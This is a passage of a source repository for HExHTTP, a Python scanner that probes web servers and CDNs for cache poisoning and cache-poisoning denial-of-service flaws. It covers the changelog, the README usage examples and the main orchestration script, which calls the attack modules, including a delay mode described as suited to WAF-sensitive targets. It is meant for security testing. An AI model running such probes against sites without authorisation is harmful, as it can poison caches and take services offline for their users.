├── .github └── FUNDING.yml ├── .gitignore ├── CHANGELOG.md ├── Dockerfile ├── LICENSE ├── README.md ├── docs └── _media │ ├── example_01.png │ ├── example_02.png │ └── logo-v1.png ├── hexhttp.py ├── logs └── .gitkeep ├── modules ├── CPDoS.py ├── CVE.py ├── cookie_reflection.py ├── cp_check │ └── cache_poisoning_nf_files.py ├── cp_cve │ ├── CVE201919326.py │ ├── CVE20235256.py │ ├── CVE202446982.py │ ├── CVE202447374.py │ ├── CVE202527415.py │ └── CVE202529927.py ├── cpdos │ ├── basic_cpdos.py │ ├── hbh.py │ ├── hhcn.py │ ├── hho.py │ ├── hmc.py │ ├── hmo.py │ ├── multiple_headers.py │ ├── path_traversal.py │ └── waf_rules.py ├── header_checks │ ├── check_localhost.py │ ├── http_version.py │ ├── methods.py │ └── vhosts.py ├── lists │ ├── __init__.py │ ├── all_payload_keys.py │ ├── lowercase-headers.lst │ ├── mobile-user-agent.lst │ ├── paraminer-wordlist.lst │ └── payloads_errors.py ├── logging_config.py ├── server_error.py ├── technologies.py ├── technos │ ├── akamai.py │ ├── apache.py │ ├── cloudflare.py │ ├── envoy.py │ ├── fastly.py │ ├── imperva.py │ ├── nginx.py │ └── vercel.py └── utils.py ├── requirements.txt ├── setup.py ├── static ├── banner.py ├── version.py └── vuln_notify.py └── tools └── autopoisoner ├── LICENSE.md ├── autopoisoner.py ├── headerfuzz.py └── print_utils.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: c0dejump 4 | custom: "https://paypal.me/c0dejump" 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .py3 2 | __pycache__ 3 | *.txt 4 | todo.md 5 | dev/ 6 | logs/*.log 7 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | Changelog: 2 | ---------- 3 | 4 | - 1.8 5 | --------- 6 | News 7 | - New cve module to check Next.js CPDoS Zhero research (CVE-2025-29927) 8 | - New module to check cache poisoning via path traversal (Thanks to 0xrth !) 9 | - Proxy features (-p option) 10 | Updated: 11 | - News payloads 12 | - Fixed bugs/FP 13 | - Linting 14 | - requirement.txt 15 | --------- 16 | 17 | - 1.7.6 18 | --------- 19 | News 20 | - Check your HExHTTP version 21 | - New cve module to check Nuxt.js CPDoS Zhero research (CVE-2025-27415) 22 | Updated: 23 | - News payloads (headers, methods and http version) 24 | - Fixed bugs/FP 25 | - Linting 26 | --------- 27 | 28 | 29 | - 1.7.5 30 | --------- 31 | News 32 | - Add a folder/check containing more-less well-known CVEs linked to headers or cache 33 | - Add proxy feature [In Progress] 34 | Updated: 35 | - News payloads (~1k) 36 | - Fixed bugs/FP 37 | - Linting 38 | --------- 39 | 40 | 41 | - 1.7.4 42 | --------- 43 | News: 44 | - New cve module to check Nextjs cache poisoning Zhero research 45 | Updated: 46 | - Reduce FP 47 | - Change "CACHE" by "CACHETAG" to avoid confusion 48 | - Clean-up and remodeling of module file/folder architecture 49 | - cache_poisoining_file => cache_poisoining__nf_file: total reconstruction of the module, to check on source files (js/css) that do not exist whether it is possible to inject text into the header or body and cache it 50 | 51 | --------- 52 | 53 | - 1.7.3 54 | --------- 55 | News: 56 | - Sponsors button 57 | Updated: 58 | - News payloads and fix on HMO modules (~800) 59 | - Fixed issues 60 | 61 | --------- 62 | 63 | - 1.7.2 64 | --------- 65 | News: 66 | - New module for "human" scan, personal timesleep or random (0-5s) to each requests 67 | Updated: 68 | - News payloads 69 | - Rename module modules/cpdos/cache_error.py -> modules/cpdos/basic_cpdos.py 70 | 71 | --------- 72 | 73 | - 1.7.1 74 | --------- 75 | News: 76 | - New module for multiple headers cache error based on @0xrth observations (mutliple_headers.py) 77 | - New file __init__.py in lists directory to add functionality to load payloads from files 78 | Updated: 79 | - commenting on the notification (notify-py) 80 | - News payloads 81 | - Linting 82 | - Fixed bugs 83 | --------- 84 | 85 | 86 | - 1.7 87 | --------- 88 | News: 89 | - Logging management 90 | - Error logs management 91 | Updated: 92 | - ANSI banner at startup 93 | - Fixed bugs 94 | - Cache tag color 95 | - Big linting and refactoring 96 | - News payloads 97 | 98 | --------- 99 | 100 | - 1.6.3 101 | --------- 102 | Updated: 103 | - News payload error endpoints (+600) 104 | - Fixed errors and FP 105 | - big start of refacto/lint from @Kharaone 106 | --------- 107 | 108 | - 1.6.2 109 | --------- 110 | Updated: 111 | - News payload error endpoints (+500) 112 | - CPDoS live tracking 113 | - Fixed and reducted FP 114 | --------- 115 | 116 | - 1.6.1 117 | --------- 118 | Updated: 119 | - News payload error endpoints (+400) 120 | --------- 121 | 122 | - 1.6 123 | --------- 124 | Updated: 125 | - New file "payloads_errors.py" which lets you directly add payloads for CPDoS, and currently offers more than 200 payloads with various technologies 126 | - Check js/css url during the CPDoS check 127 | - Reduct FP 128 | --------- 129 | 130 | 131 | - 1.5.9 132 | --------- 133 | Updated: 134 | - Fix hho & hmo modules 135 | - update README screenshot 136 | - Reduct FP 137 | --------- 138 | 139 | - 1.5.8 140 | --------- 141 | Updated: 142 | - News endpoints for CPDoS 143 | - fixed any bugs (cookie problems) 144 | - Updated Akamai tests 145 | Deleted: 146 | - range_check.py (directly in cache_error tests) 147 | --------- 148 | 149 | - 1.5.7 150 | --------- 151 | Updated: 152 | - News endpoints for CPDoS 153 | - fixed any bugs 154 | - New banner 155 | --------- 156 | 157 | - 1.5.6 158 | --------- 159 | Updated: 160 | - News endpoints based on https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole 161 | - Updated CPDoS with different response size 162 | --------- 163 | 164 | - 1.5.5 165 | --------- 166 | Updated: 167 | - New endpoints on cache_error.py 168 | - Fix display bugs 169 | News: 170 | - Vercel tests 171 | --------- 172 | 173 | - 1.5.4 174 | --------- 175 | Updated: 176 | - New endpoints on headerfuzz, HMO, HMC & HMO module 177 | - Fix of header argument missing in some functions 178 | - Fix on CPDoS module, deleted old tests, reduce FP 179 | --------- 180 | 181 | - 1.5.3 182 | --------- 183 | Updated: 184 | - all file's imports for code optimization 185 | - short description for vulnerabilities and link reference 186 | - minors bug fix 187 | New: 188 | - modules/utils.py file for code optimization 189 | --------- 190 | 191 | - 1.5.2 192 | --------- 193 | Updated: 194 | - Add check on Akamai module 195 | - fix hbh fp 196 | --------- 197 | 198 | - 1.5.1 199 | --------- 200 | Updated: 201 | - Rename of folder for differents lists 202 | - Fix of readme versioning 203 | New : 204 | - Hop-By-Hop check for CP-DoS 205 | - New list for testing HTTP Headers 206 | Deleted : 207 | - broken github workflow for pypi package, need re-verify 208 | --------- 209 | 210 | - 1.5 211 | --------- 212 | Updated: 213 | - Try to reduce fp numbers 214 | - Adding multiple endpoints in cache_error + headerfuzz + method module 215 | - Fixing some display bugs 216 | --------- 217 | 218 | - 1.4.1 219 | --------- 220 | New files: 221 | - modules/UAmobile.py # Change brought about by mobile user-agent 222 | - modules/user-agent/mobile-user-agent.lst 223 | - modules/cpdos/cache_error.py # HTTP response error cached check 224 | - modules/technos/vercel.py 225 | - CHANGELOG.md 226 | Deleted: 227 | - modules/cpdos/refererdos.py #Replace by cache_error.py 228 | --------- 229 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.11-alpine 2 | 3 | WORKDIR /hexhttp/ 4 | ADD . /hexhttp/ 5 | 6 | RUN pip install -r requirements.txt 7 | RUN chmod +x hexhttp.py 8 | 9 | ENTRYPOINT ["/hexhttp/hexhttp.py"] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 c0dejump 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HExHTTP 2 | 3 | ![logo](./docs/_media/logo-v1.png) 4 | 5 | > HExHTTP is a tool designed to perform tests on HTTP headers and analyze the results to identify vulnerabilities and interesting behaviors. 6 | 7 |
8 | release version 9 | Python3.7 10 |
11 | 12 | ## Installation 13 | 14 | 15 | Follow these steps to install **HExHTTP**: 16 | 17 | 1. **Clone the repository** to your local machine: 18 | ```bash 19 | git clone https://github.com/c0dejump/HExHTTP.git 20 | ``` 21 | 2. **Change Directory** 22 | ```bash 23 | cd HExHTTP 24 | ``` 25 | 3. **Install** the required dependencies: 26 | ```bash 27 | pip install -r requirements.txt 28 | ``` 29 | 4. **Ensure HExHTTP** is running correctly: 30 | ```bash 31 | ./hexhttp.py -u 'https://target.tld/' 32 | # OR 33 | python3 hexhttp.py -u 'https://target.tld/' 34 | ``` 35 | 36 | Or you can do ```pip install hexhttp``` 37 | 38 | For More Advanced use, Check [Usage](#usage) section below. 39 | 40 | ### Docker 41 | 42 | ```bash 43 | docker build -t hexhttp:latest . 44 | docker run --rm -it --net=host -v "$PWD:/hexhttp/" hexhttp:latest -u 'https://target.tld/' 45 | ``` 46 | 47 | ## Usage 48 | 49 | ```bash 50 | Usage: hexhttp.py [-h] [-u URL] [-f URL_FILE] [-H CUSTOM_HEADER] [-A USER_AGENT] [-F] [-a AUTH] [-b] [-hu HUMANS] [-t THREADS] [-l LOG] [-L LOG_FILE] [-v] [-p CUSTOM_PROXY] 51 | 52 | HExHTTP is a tool designed to perform tests on HTTP headers. 53 | 54 | options: 55 | -h, --help show this help message and exit 56 | -u, --url URL URL to test [required] 57 | -f, --file URL_FILE File of URLs 58 | -H, --header CUSTOM_HEADER 59 | Add a custom HTTP Header 60 | -A, --user-agent USER_AGENT 61 | Add a custom User Agent 62 | -F, --full Display the full HTTP Header 63 | -a, --auth AUTH Add an HTTP authentication. Ex: --auth admin:admin 64 | -b, --behavior Activates a simplified version of verbose, highlighting interesting cache behaviors 65 | -hu, --humans HUMANS Performs a timesleep to reproduce human behavior (Default: 0s) value: 'r' or 'random' 66 | -t, --threads THREADS 67 | Threads numbers for multiple URLs. Default: 10 68 | -l, --log LOG Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL) 69 | -L, --log-file LOG_FILE 70 | The file path pattern for the log file. Default: logs/ 71 | -v, --verbose Increase verbosity (can be used multiple times) 72 | -p, --proxy CUSTOM_PROXY 73 | Add a custom proxy. Ex: http://127.0.0.1:8080 74 | 75 | ``` 76 | 77 | ### Arguments 78 | 79 | ```bash 80 | # Scan only one domain 81 | » ./hexhttp.py -u 'https://target.tld/' 82 | 83 | # Scan a list of domains with behavior feature 84 | » ./hexhttp.py -b -f domains.lst 85 | 86 | # if the application is very sensitive (waf or not) 87 | » ./hexhttp.py -u 'https://target.tld/' -hu r 88 | 89 | # Add custom User-Agent 90 | » ./hexhttp.py -u 'https://target.tld/' --user-agent "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) Firefox/123.0-BugBounty" 91 | 92 | # Use a custom Header and authentication 93 | » ./hexhttp.py --header 'Foo: bar' --auth 'user:passwd' -u 'https://target.tld/' 94 | 95 | # Loop on domains, grep for vulnerabilities only and send result with notify (from projectdiscovery) 96 | » for domain in $(cat domains.lst); do ./hexhttp.py -u "$domain" | grep -Eio "(INTERESTING|CONFIRMED)(.*)PAYLOAD.?:(.*){5,20}$" | notify -silent; done 97 | 98 | ``` 99 | 100 | ## Examples 101 | 102 | ### Example on a public target 103 | ![example 1](./docs/_media/example_01.png) 104 | 105 | ### Example with a confirmed Cache Poisoning vulnerability 106 | You can test this tool on the Web Security Academy's vulnerable labs, like [Web cache poisoning with an unkeyed header](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header). The expected result should be the same as below. 107 | 108 | ![example poisoner](./docs/_media/example_02.png) 109 | 110 | ## Features 111 | 112 | - Server Error response checking 113 | - Localhost header response analysis 114 | - Vhosts checking 115 | - Methods response analysis 116 | - HTTP Version analysis **[Experimental]** 117 | - Cache Poisoning DoS (CPDoS) techniques 118 | - Web cache poisoning 119 | - HTTP type CVE checking 120 | - Cookie Reflection 121 | - CDN/proxies Analysis (Envoy/Apache/Akamai/Nginx) **[WIP]** 122 | 123 | ## TODO 124 | 125 | - [ ] Filter False Positive on WAF blocking [WIP] 126 | - [ ] Code Linting & Optimization [WIP] 127 | - [ ] Human scan (rate limiting + timeout randomization ) [WIP] -- works but cleaning, linting etc... 128 | - [ ] Parameter Cloacking 129 | - [ ] Try with mobile user-agent 130 | - [ ] Tests Bed for regression testing 131 | - [ ] Different Output formats (eg, JSON, JSONL, TXT) 132 | 133 | ### Based on 134 | - [YWH HTTP Header Exploitation](https://blog.yeswehack.com/yeswerhackers/http-header-exploitation/) 135 | - [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/) 136 | - [abusing http hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) 137 | - [Web Cache Entanglement: Novel Pathways to Poisoning](https://portswigger.net/research/web-cache-entanglement) 138 | - [Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning) 139 | - [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws) 140 | - [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning) 141 | - [CPDoS.org](https://cpdos.org/) 142 | - [Autopoisoner](https://github.com/Th0h0/autopoisoner) 143 | - [Rachid.A research](https://zhero-web-sec.github.io/research-and-things/) 144 | 145 | ## Contributing 146 | 147 | Pull requests are welcome. Feel free to contribute to this tool and make improvements! -------------------------------------------------------------------------------- /docs/_media/example_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/docs/_media/example_01.png -------------------------------------------------------------------------------- /docs/_media/example_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/docs/_media/example_02.png -------------------------------------------------------------------------------- /docs/_media/logo-v1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/docs/_media/logo-v1.png -------------------------------------------------------------------------------- /hexhttp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import sys 4 | import argparse 5 | import re 6 | 7 | from modules.utils import * 8 | 9 | #header checks 10 | from modules.header_checks.check_localhost import check_localhost 11 | from modules.header_checks.methods import check_methods 12 | from modules.header_checks.http_version import check_http_version 13 | from modules.header_checks.vhosts import check_vhost 14 | 15 | #cp & cpdos 16 | from modules.cp_check.cache_poisoning_nf_files import check_cache_files 17 | from modules.cp_cve.CVE202446982 import datareq_check 18 | from modules.CPDoS import check_CPDoS 19 | from modules.CVE import check_cpcve 20 | from tools.autopoisoner.autopoisoner import check_cache_poisoning 21 | 22 | #others 23 | from modules.logging_config import valid_log_level, configure_logging 24 | from modules.server_error import get_server_error 25 | from modules.technologies import technology 26 | from modules.cookie_reflection import check_cookie_reflection 27 | 28 | 29 | if sys.version_info[0] < 3: 30 | from Queue import Queue 31 | else: 32 | import queue as Queue 33 | 34 | import threading 35 | from threading import Thread 36 | 37 | from static.banner import print_banner 38 | 39 | try: 40 | enclosure_queue = Queue() 41 | except: 42 | enclosure_queue = Queue.Queue() 43 | 44 | # DEBUG completed_tasks = 0 45 | # DEBUG lock = threading.Lock() 46 | 47 | 48 | def args(): 49 | """ 50 | Parses command-line arguments and returns them. 51 | 52 | This function uses argparse to define and parse command-line arguments for the script. 53 | It includes options for specifying a URL, a file of URLs, custom HTTP headers, user agents, 54 | authentication, verbosity, logging, and threading. 55 | 56 | Returns: 57 | argparse.Namespace: Parsed command-line arguments. 58 | 59 | Arguments: 60 | -u, --url (str): URL to test [required]. 61 | -f, --file (str): File of URLs. 62 | -H, --header (str): Add a custom HTTP Header. 63 | -A, --user-agent (str): Add a custom User Agent. 64 | -a, --auth (str): Add an HTTP authentication. Ex: --auth admin:admin. 65 | -b, --behavior (bool): Activates a simplified version of verbose, 66 | highlighting interesting cache behaviors. 67 | -t, --threads (int): Threads numbers for multiple URLs. Default: 10. 68 | -l, --log (str): Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL). 69 | Default: WARNING. 70 | -L, --log-file (str): The file path pattern for the log file. 71 | Default: ./logs/%Y%m%d_%H%M.log. 72 | -v, --verbose (int): Increase verbosity (can be used multiple times). 73 | 74 | If no argument is provided, the function will print the help message and exit. 75 | """ 76 | parser = argparse.ArgumentParser(description=print_banner()) 77 | 78 | parser.add_argument( 79 | "-u", "--url", dest="url", help="URL to test \033[31m[required]\033[0m" 80 | ) 81 | parser.add_argument( 82 | "-f", "--file", dest="url_file", help="File of URLs", required=False 83 | ) 84 | parser.add_argument( 85 | "-H", 86 | "--header", 87 | dest="custom_header", 88 | help="Add a custom HTTP Header", 89 | required=False, 90 | ) 91 | parser.add_argument( 92 | "-A", 93 | "--user-agent", 94 | dest="user_agent", 95 | help="Add a custom User Agent", 96 | required=False, 97 | ) 98 | parser.add_argument( 99 | "-a", 100 | "--auth", 101 | dest="auth", 102 | help="Add an HTTP authentication. \033[33mEx: --auth admin:admin\033[0m", 103 | required=False, 104 | ) 105 | parser.add_argument( 106 | "-b", 107 | "--behavior", 108 | dest="behavior", 109 | help="Activates a simplified version of verbose, highlighting interesting cache behaviors", 110 | required=False, 111 | action="store_true", 112 | ) 113 | parser.add_argument( 114 | "-hu", 115 | "--humans", 116 | dest="humans", 117 | help="Performs a timesleep to reproduce human behavior (Default: 0s) value: 'r' or 'random'", 118 | default="0", 119 | required=False, 120 | ) 121 | parser.add_argument( 122 | "-t", 123 | "--threads", 124 | dest="threads", 125 | help="Threads numbers for multiple URLs. \033[32mDefault: 10\033[0m", 126 | type=int, 127 | default=10, 128 | required=False, 129 | ) 130 | parser.add_argument( 131 | "-l", 132 | "--log", 133 | type=valid_log_level, 134 | default="WARNING", 135 | help="Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL)", 136 | ) 137 | parser.add_argument( 138 | "-L", 139 | "--log-file", 140 | dest="log_file", 141 | default="./logs/%Y%m%d_%H%M.log", 142 | help="The file path pattern for the log file. \033[32mDefault: logs/\033[0m", 143 | required=False, 144 | ) 145 | parser.add_argument( 146 | "-v", 147 | "--verbose", 148 | action="count", 149 | default=0, 150 | help="Increase verbosity (can be used multiple times)", 151 | ) 152 | parser.add_argument( 153 | "-p", 154 | "--proxy", 155 | dest="custom_proxy", 156 | help="Add a custom proxy. Ex: http://127.0.0.1:8080 [In Progress]", 157 | required=False, 158 | ) 159 | 160 | if len(sys.argv) == 1: 161 | parser.print_help(sys.stderr) 162 | sys.exit(1) 163 | 164 | return parser.parse_args() 165 | 166 | 167 | def get_technos(a_tech, req_main, url, s): 168 | """ 169 | Check what is the reverse proxy/WAF/cached server... and test based on the result. 170 | #TODO Cloudfoundry => https://hackerone.com/reports/728664 171 | """ 172 | print("\033[36m ├ Techno analysis\033[0m") 173 | technos = { 174 | "apache": ["apache", "tomcat"], 175 | "nginx": ["nginx"], 176 | "envoy": ["envoy"], 177 | "akamai": ["akamai", "x-akamai", "x-akamai-transformed", "akamaighost"], 178 | "imperva": ["imperva"], 179 | "fastly": ["fastly"], 180 | "cloudflare": ["cf-ray", "cloudflare", "cf-cache-status", "cf-ray"], 181 | "vercel": ["vercel"], 182 | # "cloudfoundry": ["cf-app"] 183 | } 184 | 185 | for t in technos: 186 | tech_hit = False 187 | for v in technos[t]: 188 | for rt in req_main.headers: 189 | # case-insensitive comparison 190 | if ( 191 | v.lower() in req_main.text.lower() 192 | or v.lower() in req_main.headers[rt].lower() 193 | or v.lower() in rt.lower() 194 | ): 195 | tech_hit = t 196 | if tech_hit: 197 | techno_result = getattr(a_tech, tech_hit)(url, s) 198 | tech_hit = False 199 | 200 | 201 | def fuzz_x_header(url): 202 | """ 203 | When fuzzing for custom X-Headers on a target, a setup example as below can be combined with a dictionary/bruteforce attack. This makes it possible to extract hidden headers that the target uses. 204 | X-Forwarded-{FUZZ} 205 | X-Original-{FUZZ} 206 | X-{COMPANY_NAME}-{FUZZ} 207 | (https://blog.yeswehack.com/yeswerhackers/http-header-exploitation/) 208 | #TODO 209 | """ 210 | pass 211 | 212 | 213 | def check_cachetag_header(url, req_main): 214 | print("\n\033[36m ├ Header cache tags\033[0m") 215 | # basic_header = ["Content-Type", "Content-Length", "Date", "Content-Security-Policy", "Alt-Svc", "Etag", "Referrer-Policy", "X-Dns-Prefetch-Control", "X-Permitted-Cross-Domain-Policies"] 216 | 217 | result = [] 218 | for headi in base_header: 219 | if "cache" in headi or "Cache" in headi: 220 | result.append(f"{headi.split(':')[0]}:{headi.split(':')[1]}") 221 | for vary in base_header: 222 | if "Vary" in vary: 223 | result.append(f"{vary.split(':')[0]}:{vary.split(':')[1]}") 224 | for age in base_header: 225 | if age == "age" or age == "Age": 226 | result.append(f"{age.split(':')[0]}:{age.split(':')[1]}") 227 | for get_custom_header in base_header: 228 | if "Access" in get_custom_header: 229 | result.append( 230 | f"{get_custom_header.split(':')[0]}:{get_custom_header.split(':')[1]}" 231 | ) 232 | for get_custom_host in base_header: 233 | if "host" in get_custom_header: 234 | result.append( 235 | f"{get_custom_host.split(':')[0]}:{get_custom_host.split(':')[1]}" 236 | ) 237 | for r in result: 238 | print(f" └── {r:<30}") 239 | 240 | 241 | def check_auth(auth, url): 242 | try: 243 | authent = (auth.split(":")[0], auth.split(":")[1]) 244 | r = requests.get( 245 | url, allow_redirects=False, verify=False, auth=authent, timeout=10 246 | ) 247 | if r.status_code in [200, 302, 301]: 248 | print("\n+ Authentication successfull\n") 249 | return authent 250 | else: 251 | print("\nAuthentication error") 252 | continue_error = input( 253 | "The authentication seems bad, continue ? [y/N]" 254 | ) 255 | if continue_error not in ["y", "Y"]: 256 | print("Exiting") 257 | sys.exit() 258 | except Exception as e: 259 | traceback.print_exc() 260 | print('Error, the authentication format need to be "user:pass"') 261 | sys.exit() 262 | 263 | 264 | 265 | def process_modules(url, s, a_tech): 266 | domain = get_domain_from_url(url) 267 | 268 | try: 269 | req_main = s.get( 270 | url, verify=False, allow_redirects=False, timeout=10, auth=authent 271 | ) 272 | 273 | print("\033[34m⟙\033[0m") 274 | print(f" URL: {url}") 275 | print(f" URL response: {req_main.status_code}") 276 | print(f" URL response size: {len(req_main.content)} bytes") 277 | print("\033[34m⟘\033[0m") 278 | if req_main.status_code not in [200, 302, 301, 403, 401] and not url_file: 279 | choice = input( 280 | " \033[33mThe url does not seem to answer correctly, continue anyway ?\033[0m [y/n]" 281 | ) 282 | if choice not in ["y", "Y"]: 283 | sys.exit() 284 | for k in req_main.headers: 285 | base_header.append(f"{k}: {req_main.headers[k]}") 286 | 287 | check_cachetag_header(url, req_main) 288 | get_server_error(url, base_header, authent, url_file) 289 | check_vhost(domain, url) 290 | check_localhost(url, s, domain, authent) 291 | check_methods(url, custom_header, authent) 292 | check_http_version(url) 293 | check_CPDoS(url, s, req_main, domain, custom_header, authent, human) 294 | check_cpcve(url, s, req_main, domain, custom_header, authent, human) 295 | check_cache_poisoning(url, custom_header, behavior, authent, human) 296 | check_cache_files(url, s, custom_header, authent) #TOREDO 297 | check_cookie_reflection(url, custom_header, authent) 298 | techno = get_technos(a_tech, req_main, url, s) 299 | #fuzz_x_header(url) #TODO 300 | except requests.exceptions.RequestException as e: 301 | print(f"Error: {e}") 302 | pass 303 | # print(f"Error in processing {url}: {e}") 304 | 305 | 306 | def main(urli, s, auth): 307 | global base_header 308 | global authent 309 | base_header = [] 310 | 311 | # DEBUG global completed_tasks 312 | 313 | a_tech = technology() 314 | 315 | if auth: 316 | authent = check_auth(auth, urli) 317 | else: 318 | authent = False 319 | 320 | if url_file and threads != 1337: 321 | try: 322 | while not urli.empty(): 323 | q = urli 324 | 325 | url = urli.get() 326 | process_modules(url, s, a_tech) 327 | # with lock: #Debug 328 | # completed_tasks += 1 329 | # print(f"completed tasks : {completed_tasks}") 330 | q.task_done() 331 | except KeyboardInterrupt: 332 | print(" ! Canceled by keyboard interrupt (Ctrl-C)") 333 | q.task_done() 334 | sys.exit() 335 | except Exception as e: 336 | pass 337 | # print(f"Error : {e}") 338 | q.task_done() 339 | elif url_file and threads == 1337: 340 | try: 341 | process_modules(urli, s, a_tech) 342 | except KeyboardInterrupt: 343 | print(" ! Canceled by keyboard interrupt (Ctrl-C)") 344 | sys.exit() 345 | except Exception as e: 346 | print(f"Error : {e}") 347 | else: 348 | try: 349 | process_modules(urli, s, a_tech) 350 | except KeyboardInterrupt: 351 | print(" ! Canceled by keyboard interrupt (Ctrl-C)") 352 | sys.exit() 353 | except Exception as e: 354 | print(f"Error : {e}") 355 | 356 | 357 | if __name__ == "__main__": 358 | # Parse arguments 359 | results = args() 360 | 361 | url = results.url 362 | url_file = results.url_file 363 | custom_header = results.custom_header 364 | behavior = results.behavior 365 | auth = results.auth 366 | user_agent = results.user_agent 367 | threads = results.threads 368 | humans = results.humans 369 | proxy = results.custom_proxy 370 | 371 | configure_logging(results.verbose, results.log, results.log_file) 372 | 373 | global human 374 | 375 | human = humans 376 | 377 | try: 378 | s = requests.Session() 379 | if user_agent: 380 | s.headers.update({"User-agent": user_agent}) 381 | else: 382 | s.headers.update( 383 | { 384 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko", 385 | #"Accept": "html", 386 | "Accept-Encoding": "gzip" 387 | } 388 | ) 389 | 390 | if custom_header: 391 | try: 392 | custom_header = custom_header.replace(" ", "") 393 | custom_header = { 394 | custom_header.split(":")[0]: custom_header.split(":")[1] 395 | } 396 | s.headers.update(custom_header) 397 | except Exception as e: 398 | print(e) 399 | print('Error, HTTP Header format need to be "foo:bar"') 400 | sys.exit() 401 | if proxy: 402 | proxies = { 403 | 'https': proxy, 404 | } 405 | s.proxies.update(proxies) 406 | 407 | s.max_redirects = 60 408 | 409 | if url_file and threads != 1337: 410 | with open(url_file, "r") as urls: 411 | urls = urls.read().splitlines() 412 | try: 413 | for url in urls: 414 | enclosure_queue.put(url) 415 | for i in range(threads): 416 | worker = Thread(target=main, args=(enclosure_queue, s, auth)) 417 | worker.start() 418 | enclosure_queue.join() 419 | for thread in threads: 420 | thread.join() 421 | except KeyboardInterrupt: 422 | print("Exiting") 423 | sys.exit() 424 | except FileNotFoundError: 425 | print("Input file not found") 426 | sys.exit() 427 | except Exception as e: 428 | print(f"Error : {e}") 429 | print("Scan finish") 430 | elif url_file and threads == 1337: 431 | with open(url_file, "r") as urls: 432 | urls = urls.read().splitlines() 433 | for url in urls: 434 | main(url, s, auth) 435 | else: 436 | main(url, s, auth) 437 | # basic errors 438 | except KeyboardInterrupt: 439 | print("Exiting") 440 | sys.exit() 441 | # requests errors 442 | except requests.ConnectionError: 443 | print("Error, cannot connect to target") 444 | except requests.Timeout: 445 | print("Error, request timeout (10s)") 446 | except requests.exceptions.MissingSchema: 447 | print("Error, missing http:// or https:// schema") 448 | except Exception as e: 449 | print(f"Error : {e}") 450 | print("") 451 | # print("Scan finish") 452 | -------------------------------------------------------------------------------- /logs/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c0dejump/HExHTTP/b2c9dc39b79c5569a12a8d30bc6d9651c0ce0ef5/logs/.gitkeep -------------------------------------------------------------------------------- /modules/CPDoS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from modules.utils import random, re, sys, configure_logger 5 | from modules.cpdos.basic_cpdos import cpdos_main 6 | from modules.cpdos.waf_rules import waf_rules 7 | from modules.cpdos.hho import HHO 8 | from modules.cpdos.hmc import HMC 9 | from modules.cpdos.hmo import HMO 10 | from modules.cpdos.hhcn import HHCN 11 | from modules.cpdos.hbh import HBH 12 | from modules.cpdos.multiple_headers import MHC 13 | from modules.cpdos.path_traversal import path_traversal_check 14 | 15 | from modules.utils import random, re, sys, configure_logger 16 | 17 | logger = configure_logger(__name__) 18 | 19 | 20 | def crawl_files(url, s, req_main, domain, custom_header, authent, human): 21 | try: 22 | regexp1 = r'(?<=src=")(\/[^\/].+?\.(js|css|html|svg))(?=")' 23 | regexp2 = r'(?<=href=")(\/[^\/].+?\.(js|css|html|svg))(?=")' 24 | #regexp3 = r'(?<=src=")(\/[^\/].+?)(?=")' 25 | #regexp4 = r'(?<=href=")(\/[^\/].+?)(?=")' 26 | 27 | responseText = req_main.text 28 | 29 | filesURL = re.findall(regexp1, responseText) 30 | filesURL += re.findall(regexp2, responseText) 31 | #filesURL = re.findall(regexp3, responseText) 32 | #filesURL += re.findall(regexp4, 